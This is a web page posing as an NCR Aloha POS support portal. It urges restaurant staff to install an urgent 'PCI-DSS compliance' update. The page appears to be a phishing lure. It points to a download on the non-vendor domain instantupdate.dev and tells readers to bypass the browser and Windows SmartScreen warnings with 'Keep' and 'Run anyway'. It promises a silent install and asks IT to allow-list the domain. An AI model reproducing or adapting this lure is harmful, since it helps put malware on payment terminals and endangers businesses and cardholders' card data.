Aloha POS Support Portal
ACTION REQUIRED

Critical Payment Compliance Update

A security vulnerability affecting card-payment data protection has been identified in Aloha POS builds deployed before build 5.20.6. All restaurant locations are advised to apply this update at your earliest convenience to stay PCI-DSS compliant.

Update Details

ProductAloha POS Terminal Component
Update TypeSecurity / PCI-DSS Compliance Patch
PriorityCRITICAL — install at your earliest convenience
Install Time~2 minutes
Restart RequiredNo
Release IDALH-2026-1058-v9
ReleasedOctober 7, 2026
PCI-DSS compliance is verified during your next processing review — updating now keeps your location fully certified with no service interruption.
Download Update
File: POS_System_Update  ?  ~86 KB  ?  Digitally signed by NCR Voyix software distribution

Installation Instructions

  1. Click Download Update above — save the file to the terminal or back-office PC
  2. Your browser may show a message like "isn't commonly downloaded" — this is standard for new software updates. Click ⋯ on the message and choose Keep (safe — the update is signed by our software distribution)
  3. Open the downloaded file. If Windows asks for confirmation, click More info → Run anyway
  4. The update installs silently — no restart required
  5. A confirmation appears in tomorrow's Aloha EOD report — that's expected
  6. Questions: NCR Aloha Support 1-800-ALOHA-POS

Verification (for your IT department)

Served over HTTPS from instantupdate.dev. Terminals behind a proxy: allow-list instantupdate.dev on port 443.

NCR Voyix * Aloha Support Portal * Update ALH-2026-1058-v9